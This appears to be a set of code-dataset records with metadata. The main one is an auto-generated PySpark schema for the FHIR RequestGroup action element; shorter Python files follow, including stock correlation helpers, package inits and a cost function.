8c828313c39850b65f8676e67f526ee92b7d624e
[ "Apache-2.0" ]
null
null
null
from typing import Union, List, Optional from pyspark.sql.types import ( StructType, StructField, StringType, ArrayType, DataType, TimestampType, ) # This file is auto-generated by generate_schema so do not edit it manually # noinspection PyPep8Naming class RequestGroup_ActionSchema: """ A group of related requests that can be used to capture intended activities that have inter-dependencies such as "give this medication after that one". """ # noinspection PyDefaultArgument @staticmethod def get_schema( max_nesting_depth: Optional[int] = 6, nesting_depth: int = 0, nesting_list: List[str] = [], max_recursion_limit: Optional[int] = 2, include_extension: Optional[bool] = False, extension_fields: Optional[List[str]] = None, extension_depth: int = 0, max_extension_depth: Optional[int] = 2, include_modifierExtension: Optional[bool] = False, use_date_for: Optional[List[str]] = None, parent_path: Optional[str] = "", ) -> Union[StructType, DataType]: """ A group of related requests that can be used to capture intended activities that have inter-dependencies such as "give this medication after that one". id: Unique id for the element within a resource (for internal references). This may be any string value that does not contain spaces. extension: May be used to represent additional information that is not part of the basic definition of the element. To make the use of extensions safe and manageable, there is a strict set of governance applied to the definition and use of extensions. Though any implementer can define an extension, there is a set of requirements that SHALL be met as part of the definition of the extension. modifierExtension: May be used to represent additional information that is not part of the basic definition of the element and that modifies the understanding of the element in which it is contained and/or the understanding of the containing element's descendants. Usually modifier elements provide negation or qualification. To make the use of extensions safe and manageable, there is a strict set of governance applied to the definition and use of extensions. Though any implementer can define an extension, there is a set of requirements that SHALL be met as part of the definition of the extension. Applications processing a resource are required to check for modifier extensions. Modifier extensions SHALL NOT change the meaning of any elements on Resource or DomainResource (including cannot change the meaning of modifierExtension itself). prefix: A user-visible prefix for the action. title: The title of the action displayed to a user. description: A short description of the action used to provide a summary to display to the user. textEquivalent: A text equivalent of the action to be performed. This provides a human- interpretable description of the action when the definition is consumed by a system that might not be capable of interpreting it dynamically. priority: Indicates how quickly the action should be addressed with respect to other actions. code: A code that provides meaning for the action or action group. For example, a section may have a LOINC code for a section of a documentation template. documentation: Didactic or other informational resources associated with the action that can be provided to the CDS recipient. Information resources can include inline text commentary and links to web resources. condition: An expression that describes applicability criteria, or start/stop conditions for the action. relatedAction: A relationship to another action such as "before" or "30-60 minutes after start of". timingDateTime: An optional value describing when the action should be performed. timingAge: An optional value describing when the action should be performed. timingPeriod: An optional value describing when the action should be performed. timingDuration: An optional value describing when the action should be performed. timingRange: An optional value describing when the action should be performed. timingTiming: An optional value describing when the action should be performed. participant: The participant that should perform or be responsible for this action. type: The type of action to perform (create, update, remove). groupingBehavior: Defines the grouping behavior for the action and its children. selectionBehavior: Defines the selection behavior for the action and its children. requiredBehavior: Defines expectations around whether an action is required. precheckBehavior: Defines whether the action should usually be preselected. cardinalityBehavior: Defines whether the action can be selected multiple times. resource: The resource that is the target of the action (e.g. CommunicationRequest). action: Sub actions. """ if extension_fields is None: extension_fields = [ "valueBoolean", "valueCode", "valueDate", "valueDateTime", "valueDecimal", "valueId", "valueInteger", "valuePositiveInt", "valueString", "valueTime", "valueUnsignedInt", "valueUri", "valueUrl", "valueReference", "valueCodeableConcept", "valueAddress", ] from spark_fhir_schemas.r4.complex_types.extension import ExtensionSchema from spark_fhir_schemas.r4.simple_types.code import codeSchema from spark_fhir_schemas.r4.complex_types.codeableconcept import ( CodeableConceptSchema, ) from spark_fhir_schemas.r4.complex_types.relatedartifact import ( RelatedArtifactSchema, ) from spark_fhir_schemas.r4.complex_types.requestgroup_condition import ( RequestGroup_ConditionSchema, ) from spark_fhir_schemas.r4.complex_types.requestgroup_relatedaction import ( RequestGroup_RelatedActionSchema, ) from spark_fhir_schemas.r4.complex_types.age import AgeSchema from spark_fhir_schemas.r4.complex_types.period import PeriodSchema from spark_fhir_schemas.r4.complex_types.duration import DurationSchema from spark_fhir_schemas.r4.complex_types.range import RangeSchema from spark_fhir_schemas.r4.complex_types.timing import TimingSchema from spark_fhir_schemas.r4.complex_types.reference import ReferenceSchema if ( max_recursion_limit and nesting_list.count("RequestGroup_Action") >= max_recursion_limit ) or (max_nesting_depth and nesting_depth >= max_nesting_depth): return StructType([StructField("id", StringType(), True)]) # add my name to recursion list for later my_nesting_list: List[str] = nesting_list + ["RequestGroup_Action"] my_parent_path = ( parent_path + ".requestgroup_action" if parent_path else "requestgroup_action" ) schema = StructType( [ # Unique id for the element within a resource (for internal references). This # may be any string value that does not contain spaces. StructField("id", StringType(), True), # May be used to represent additional information that is not part of the basic # definition of the element. To make the use of extensions safe and manageable, # there is a strict set of governance applied to the definition and use of # extensions. Though any implementer can define an extension, there is a set of # requirements that SHALL be met as part of the definition of the extension. StructField( "extension", ArrayType( ExtensionSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ) ), True, ), # May be used to represent additional information that is not part of the basic # definition of the element and that modifies the understanding of the element # in which it is contained and/or the understanding of the containing element's # descendants. Usually modifier elements provide negation or qualification. To # make the use of extensions safe and manageable, there is a strict set of # governance applied to the definition and use of extensions. Though any # implementer can define an extension, there is a set of requirements that SHALL # be met as part of the definition of the extension. Applications processing a # resource are required to check for modifier extensions. # # Modifier extensions SHALL NOT change the meaning of any elements on Resource # or DomainResource (including cannot change the meaning of modifierExtension # itself). StructField( "modifierExtension", ArrayType( ExtensionSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ) ), True, ), # A user-visible prefix for the action. StructField("prefix", StringType(), True), # The title of the action displayed to a user. StructField("title", StringType(), True), # A short description of the action used to provide a summary to display to the # user. StructField("description", StringType(), True), # A text equivalent of the action to be performed. This provides a human- # interpretable description of the action when the definition is consumed by a # system that might not be capable of interpreting it dynamically. StructField("textEquivalent", StringType(), True), # Indicates how quickly the action should be addressed with respect to other # actions. StructField( "priority", codeSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path + ".priority", ), True, ), # A code that provides meaning for the action or action group. For example, a # section may have a LOINC code for a section of a documentation template. StructField( "code", ArrayType( CodeableConceptSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ) ), True, ), # Didactic or other informational resources associated with the action that can # be provided to the CDS recipient. Information resources can include inline # text commentary and links to web resources. StructField( "documentation", ArrayType( RelatedArtifactSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ) ), True, ), # An expression that describes applicability criteria, or start/stop conditions # for the action. StructField( "condition", ArrayType( RequestGroup_ConditionSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ) ), True, ), # A relationship to another action such as "before" or "30-60 minutes after # start of". StructField( "relatedAction", ArrayType( RequestGroup_RelatedActionSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ) ), True, ), # An optional value describing when the action should be performed. StructField("timingDateTime", TimestampType(), True), # An optional value describing when the action should be performed. StructField( "timingAge", AgeSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ), True, ), # An optional value describing when the action should be performed. StructField( "timingPeriod", PeriodSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ), True, ), # An optional value describing when the action should be performed. StructField( "timingDuration", DurationSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ), True, ), # An optional value describing when the action should be performed. StructField( "timingRange", RangeSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ), True, ), # An optional value describing when the action should be performed. StructField( "timingTiming", TimingSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ), True, ), # The participant that should perform or be responsible for this action. StructField( "participant", ArrayType( ReferenceSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ) ), True, ), # The type of action to perform (create, update, remove). StructField( "type", CodeableConceptSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ), True, ), # Defines the grouping behavior for the action and its children. StructField( "groupingBehavior", codeSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path + ".groupingbehavior", ), True, ), # Defines the selection behavior for the action and its children. StructField( "selectionBehavior", codeSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path + ".selectionbehavior", ), True, ), # Defines expectations around whether an action is required. StructField( "requiredBehavior", codeSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path + ".requiredbehavior", ), True, ), # Defines whether the action should usually be preselected. StructField( "precheckBehavior", codeSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path + ".precheckbehavior", ), True, ), # Defines whether the action can be selected multiple times. StructField( "cardinalityBehavior", codeSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path + ".cardinalitybehavior", ), True, ), # The resource that is the target of the action (e.g. CommunicationRequest). StructField( "resource", ReferenceSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth + 1, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ), True, ), # Sub actions. StructField( "action", ArrayType( RequestGroup_ActionSchema.get_schema( max_nesting_depth=max_nesting_depth, nesting_depth=nesting_depth + 1, nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth, include_modifierExtension=include_modifierExtension, use_date_for=use_date_for, parent_path=my_parent_path, ) ), True, ), ] ) if not include_extension: schema.fields = [ c if c.name != "extension" else StructField("extension", StringType(), True) for c in schema.fields ] if not include_modifierExtension: schema.fields = [ c if c.name != "modifierExtension" else StructField("modifierExtension", StringType(), True) for c in schema.fields ] return schema
50.293461
104
0.54484
2,810
31,534
5.837011
0.107829
0.065114
0.041154
0.061456
0.825509
0.820571
0.818132
0.791977
0.772955
0.757773
0
0.003242
0.41311
31,534
626
105
50.373802
0.883017
0.236063
0
0.705508
0
0
0.030255
0
0
0
0
0
0
1
0.002119
false
0
0.029661
0
0.038136
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
fdaab77874ed372127117eabc450794aaa621dec
197
py
Python
firebase_dynamic_links/__init__.py
heykarimoff/firebase_dynamic_links
bed465e7d1706095af2f60948f3efdd0a9051875
[ "MIT" ]
12
2018-07-14T16:31:47.000Z
2021-11-21T18:58:44.000Z
firebase_dynamic_links/__init__.py
heykarimoff/firebase_dynamic_links
bed465e7d1706095af2f60948f3efdd0a9051875
[ "MIT" ]
2
2018-07-08T08:17:00.000Z
2018-11-11T17:14:56.000Z
firebase_dynamic_links/__init__.py
heykarimoff/firebase_dynamic_links
bed465e7d1706095af2f60948f3efdd0a9051875
[ "MIT" ]
2
2019-02-05T12:49:38.000Z
2020-06-04T13:30:05.000Z
from .builder import generate_long_link from .builder import generate_short_link from .builder import dynamic_link_builder from .builder import DynamicLinkBuilder from .client import FirebaseClient
39.4
41
0.878173
26
197
6.423077
0.423077
0.263473
0.407186
0.299401
0
0
0
0
0
0
0
0
0.096447
197
5
42
39.4
0.938202
0
0
0
1
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
8
e31fdc6e19965da817d9ab0bfcd42a7c2481db92
106
py
Python
tests/profile/__main__.py
clabe45/shulkr
bac47b1497415cfccd7d202ecdbfed3adaa25c44
[ "Apache-2.0" ]
3
2021-12-17T01:44:22.000Z
2022-03-22T20:56:06.000Z
tests/profile/__main__.py
clabe45/shulkr
bac47b1497415cfccd7d202ecdbfed3adaa25c44
[ "Apache-2.0" ]
5
2021-12-17T00:04:06.000Z
2022-01-03T16:51:08.000Z
tests/profile/__main__.py
clabe45/shulkr
bac47b1497415cfccd7d202ecdbfed3adaa25c44
[ "Apache-2.0" ]
1
2022-03-22T20:56:09.000Z
2022-03-22T20:56:09.000Z
from . import profile_get_renamed_variables if __name__ == '__main__': profile_get_renamed_variables()
17.666667
43
0.811321
13
106
5.538462
0.692308
0.277778
0.472222
0.722222
0
0
0
0
0
0
0
0
0.113208
106
5
44
21.2
0.765957
0
0
0
0
0
0.075472
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
7
e35f23fe67175da83b66f696f453ac31a0d18f69
7,386
py
Python
flask/Dashapps/compute_util/stockinterface.py
SchneiderDaniel/data
741f5d912eb9a62b77ec3cecf4fc54f21133784c
[ "MIT" ]
null
null
null
flask/Dashapps/compute_util/stockinterface.py
SchneiderDaniel/data
741f5d912eb9a62b77ec3cecf4fc54f21133784c
[ "MIT" ]
null
null
null
flask/Dashapps/compute_util/stockinterface.py
SchneiderDaniel/data
741f5d912eb9a62b77ec3cecf4fc54f21133784c
[ "MIT" ]
null
null
null
import yfinance as yf import datetime as dt import pandas as pd import pandas_datareader.data as web from flask import url_for, current_app import os import sys import requests def isTickerValid(ticker): try: df = web.DataReader(ticker, 'yahoo', dt.datetime(2020,1,1), dt.datetime.now()) return True except: return False def getNameToTicker(ticker): companyName = "" try: aTicker = yf.Ticker(ticker) companyName = aTicker.info['longName'] except: try: url = "http://d.yimg.com/autoc.finance.yahoo.com/autoc?query={}&region=1&lang=en".format(ticker) result = requests.get(url).json() for x in result['ResultSet']['Result']: if x['symbol'] == ticker: companyName= x['name'] except: companyName = " Name NA (Data found) " return companyName def getCurrencyToTicker(ticker): currency = 'NA' try: aTicker = yf.Ticker(ticker) currency = aTicker.info['currency'] except: currency = 'NA' return currency def getTickerDataframesList(tickers): dfList = [] for p in tickers: dfToAdd = web.DataReader(p, 'yahoo', dt.datetime(1971,1,1), dt.datetime.now()) dfToAdd.drop(dfToAdd.columns.difference(['Adj Close']), 1, inplace=True) dfList.append(dfToAdd) return dfList def getTickerDataframe(ticker): dfBench = web.DataReader(ticker, 'yahoo', dt.datetime(1971,1,1), dt.datetime.now()) dfBench.drop(dfBench.columns.difference(['Adj Close']), 1, inplace=True) return dfBench def getPortfolioCorrelation_List(dfList,percents, dfBench, filterStart = dt.datetime(1971,1,1), filterEnd = dt.datetime.now(), daily=True): merge = dfList[0] for i in range (1,len(dfList)): merge = pd.merge(merge,dfList[i], how='inner', left_index=True, right_index=True) dfBench.columns = ['Benchmark'] merge = pd.merge(merge,dfBench, how='inner', left_index=True, right_index=True) if not daily: # https://stackoverflow.com/questions/60590945/extract-first-day-of-month-in-dataframe merge=merge[~merge.index.strftime('%Y-%m').duplicated()].copy() mask = (merge.index > pd.to_datetime(filterStart)) & (merge.index <= pd.to_datetime(filterEnd)) merge = merge.loc[mask] for i in range(len(dfList)+1): divisor= merge[merge.columns[i]].iloc[0] merge[merge.columns[i]] = merge[merge.columns[i]]/divisor for i in range(len(percents)): merge[merge.columns[i]] = (0.01*percents[i])*merge[merge.columns[i]] merge['Portfolio'] = merge.drop('Benchmark', axis=1).sum(axis=1) merge.drop(merge.columns.difference(['Portfolio', 'Benchmark']), 1, inplace=True) if not merge.empty: evaluatedFrom = merge.index[0].strftime('%d. %B %Y') evaluatedTo = merge.index[-1].strftime('%d. %B %Y') else: evaluatedFrom = filterStart.strftime('%d. %B %Y') evaluatedTo = filterEnd.strftime('%d. %B %Y') result = merge.corr().values result= result.round(4) return result[0][1], evaluatedFrom, evaluatedTo def getPortfolioCorrelation(tickers,percents, ticker, filterStart = dt.datetime(1971,1,1), filterEnd = dt.datetime.now(), daily=True): dfList = [] for p in tickers: dfToAdd = web.DataReader(p, 'yahoo', dt.datetime(1971,1,1), dt.datetime.now()) dfToAdd.drop(dfToAdd.columns.difference(['Adj Close']), 1, inplace=True) dfList.append(dfToAdd) merge = dfList[0] for i in range (1,len(dfList)): merge = pd.merge(merge,dfList[i], how='inner', left_index=True, right_index=True) dfBench = web.DataReader(ticker, 'yahoo', dt.datetime(1971,1,1), dt.datetime.now()) dfBench.drop(dfBench.columns.difference(['Adj Close']), 1, inplace=True) dfBench.columns = ['Benchmark'] merge = pd.merge(merge,dfBench, how='inner', left_index=True, right_index=True) if not daily: # https://stackoverflow.com/questions/60590945/extract-first-day-of-month-in-dataframe merge=merge[~merge.index.strftime('%Y-%m').duplicated()].copy() mask = (merge.index > pd.to_datetime(filterStart)) & (merge.index <= pd.to_datetime(filterEnd)) merge = merge.loc[mask] for i in range(len(tickers)+1): divisor= merge[merge.columns[i]].iloc[0] merge[merge.columns[i]] = merge[merge.columns[i]]/divisor for i in range(len(percents)): merge[merge.columns[i]] = (0.01*percents[i])*merge[merge.columns[i]] merge['Portfolio'] = merge.drop('Benchmark', axis=1).sum(axis=1) merge.drop(merge.columns.difference(['Portfolio', 'Benchmark']), 1, inplace=True) if not merge.empty: evaluatedFrom = merge.index[0].strftime('%d. %B %Y') evaluatedTo = merge.index[-1].strftime('%d. %B %Y') else: evaluatedFrom = filterStart.strftime('%d. %B %Y') evaluatedTo = filterEnd.strftime('%d. %B %Y') result = merge.corr().values result= result.round(4) return result[0][1], evaluatedFrom, evaluatedTo def getCorrelationMatrix_List(dfList, filterStart = dt.datetime(1971,1,1), filterEnd = dt.datetime.now(), daily=True ): merge = dfList[0] for i in range (1,len(dfList)): merge = pd.merge(merge,dfList[i],how='inner', left_index=True, right_index=True) mask = (merge.index > pd.to_datetime(filterStart)) & (merge.index <= pd.to_datetime(filterEnd)) merge = merge.loc[mask] if not daily: # https://stackoverflow.com/questions/60590945/extract-first-day-of-month-in-dataframe merge=merge[~merge.index.strftime('%Y-%m').duplicated()].copy() if not merge.empty: evaluatedFrom = merge.index[0].strftime('%d. %B %Y') evaluatedTo = merge.index[-1].strftime('%d. %B %Y') else: evaluatedFrom = filterStart.strftime('%d. %B %Y') evaluatedTo = filterEnd.strftime('%d. %B %Y') result = merge.corr().values result= result.round(4) return result, evaluatedFrom, evaluatedTo def getCorrelationMatrix(tickers, filterStart = dt.datetime(1971,1,1), filterEnd = dt.datetime.now(), daily=True ): dfList = [] for tick in tickers: dfToAdd = web.DataReader(tick, 'yahoo', dt.datetime(1971,1,1), dt.datetime.now()) dfReduce= dfToAdd.drop(dfToAdd.columns.difference(['Adj Close']), 1) if not daily: # https://stackoverflow.com/questions/60590945/extract-first-day-of-month-in-dataframe dfReduce=dfReduce[~dfReduce.index.strftime('%Y-%m').duplicated()].copy() dfList.append(dfReduce) merge = dfList[0] for i in range (1,len(dfList)): merge = pd.merge(merge,dfList[i],how='inner', left_index=True, right_index=True) mask = (merge.index > pd.to_datetime(filterStart)) & (merge.index <= pd.to_datetime(filterEnd)) merge = merge.loc[mask] if not merge.empty: evaluatedFrom = merge.index[0].strftime('%d. %B %Y') evaluatedTo = merge.index[-1].strftime('%d. %B %Y') else: evaluatedFrom = filterStart.strftime('%d. %B %Y') evaluatedTo = filterEnd.strftime('%d. %B %Y') result = merge.corr().values result= result.round(4) return result, evaluatedFrom, evaluatedTo
31.164557
139
0.63485
942
7,386
4.951168
0.139066
0.055746
0.034305
0.037736
0.810034
0.790309
0.776801
0.776801
0.767367
0.760077
0
0.023606
0.208503
7,386
236
140
31.29661
0.774205
0.045898
0
0.726027
0
0.006849
0.070861
0
0
0
0
0
0
1
0.061644
false
0
0.054795
0
0.184932
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
8b55d4923fbef0d1e30a9450b352134982589162
235
py
Python
RetinaNet/preprocessing/__init__.py
sun1638650145/RetinaNet
357edda03cdc1f976764b6ed4fcad6e639646142
[ "Apache-2.0" ]
2
2021-09-23T09:32:19.000Z
2022-02-16T06:59:03.000Z
RetinaNet/preprocessing/__init__.py
sun1638650145/RetinaNet
357edda03cdc1f976764b6ed4fcad6e639646142
[ "Apache-2.0" ]
null
null
null
RetinaNet/preprocessing/__init__.py
sun1638650145/RetinaNet
357edda03cdc1f976764b6ed4fcad6e639646142
[ "Apache-2.0" ]
null
null
null
from RetinaNet.preprocessing.img_ops import resize_and_pad_image from RetinaNet.preprocessing.label_ops import AnchorBox from RetinaNet.preprocessing.load import load_dataset from RetinaNet.preprocessing.load import load_small_dataset
47
64
0.897872
32
235
6.34375
0.46875
0.256158
0.512315
0.295567
0.394089
0.394089
0
0
0
0
0
0
0.068085
235
4
65
58.75
0.926941
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
8b78b0fb84277b159a32338fa08651c8578b9d91
128
py
Python
code/check_costs/res/aws_nat_gateway.py
derBroBro/TerraDepot
185830a7cb9ba3ec068c3965640b9fd055f942a0
[ "MIT" ]
61
2020-01-19T21:28:05.000Z
2022-03-16T16:57:47.000Z
code/check_costs/res/aws_nat_gateway.py
derBroBro/terraform-http-backend
185830a7cb9ba3ec068c3965640b9fd055f942a0
[ "MIT" ]
2
2021-08-02T17:09:41.000Z
2021-08-02T17:10:07.000Z
code/check_costs/res/aws_nat_gateway.py
derBroBro/terraform-http-backend
185830a7cb9ba3ec068c3965640b9fd055f942a0
[ "MIT" ]
5
2020-01-19T23:13:57.000Z
2022-01-07T18:08:04.000Z
from ..lib import get_montly_costs def run(resource): # eu-central-1, 0,052 USD/h return get_montly_costs(0.052, "h")
18.285714
39
0.6875
23
128
3.652174
0.73913
0.214286
0.333333
0
0
0
0
0
0
0
0
0.085714
0.179688
128
6
40
21.333333
0.714286
0.195313
0
0
0
0
0.009901
0
0
0
0
0
0
1
0.333333
false
0
0.333333
0.333333
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
1
1
0
0
8
8bb825c0bd667ecfb452b453822956cf45a16446
279
py
Python
tables/__init__.py
kanghj/dinner-tables-planner
e71b9ce31f63fc30aa95849b0ffec79cffd5ef05
[ "MIT" ]
1
2018-07-28T13:20:33.000Z
2018-07-28T13:20:33.000Z
tables/__init__.py
kanghj/dinner-tables-planner
e71b9ce31f63fc30aa95849b0ffec79cffd5ef05
[ "MIT" ]
33
2017-10-31T15:55:18.000Z
2018-02-07T15:48:57.000Z
tables/__init__.py
kanghj/dinner-tables-planner
e71b9ce31f63fc30aa95849b0ffec79cffd5ef05
[ "MIT" ]
null
null
null
from .solve import create_file_and_upload_to_s3,\ create_staging_file_and_upload_to_s3, \ ans_from_s3_ans_bucket, delete_job __all__ = ['create_file_and_upload_to_s3', 'create_staging_file_and_upload_to_s3', 'ans_from_s3_ans_bucket', 'delete_job']
34.875
50
0.767025
44
279
4.045455
0.340909
0.157303
0.292135
0.337079
0.898876
0.898876
0.898876
0.898876
0.898876
0.898876
0
0.025641
0.16129
279
7
51
39.857143
0.735043
0
0
0
0
0
0.344086
0.308244
0
0
0
0
0
1
0
false
0
0.166667
0
0.166667
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
8bcf6a38647af42a9e0ae49a951ed9a0bd779afc
5,104
py
Python
matroids/construct/closure_function.py
PotassiumIodide/matroid-theory-in-python
51c06ba728c9d9002234fe98b1bc84bffb86a0cb
[ "MIT" ]
2
2020-11-27T09:51:49.000Z
2021-11-10T07:16:34.000Z
matroids/construct/closure_function.py
PotassiumIodide/matroid-theory-in-python
51c06ba728c9d9002234fe98b1bc84bffb86a0cb
[ "MIT" ]
1
2020-11-16T07:22:29.000Z
2020-11-16T07:22:29.000Z
matroids/construct/closure_function.py
PotassiumIodide/matroid-theory-in-python
51c06ba728c9d9002234fe98b1bc84bffb86a0cb
[ "MIT" ]
null
null
null
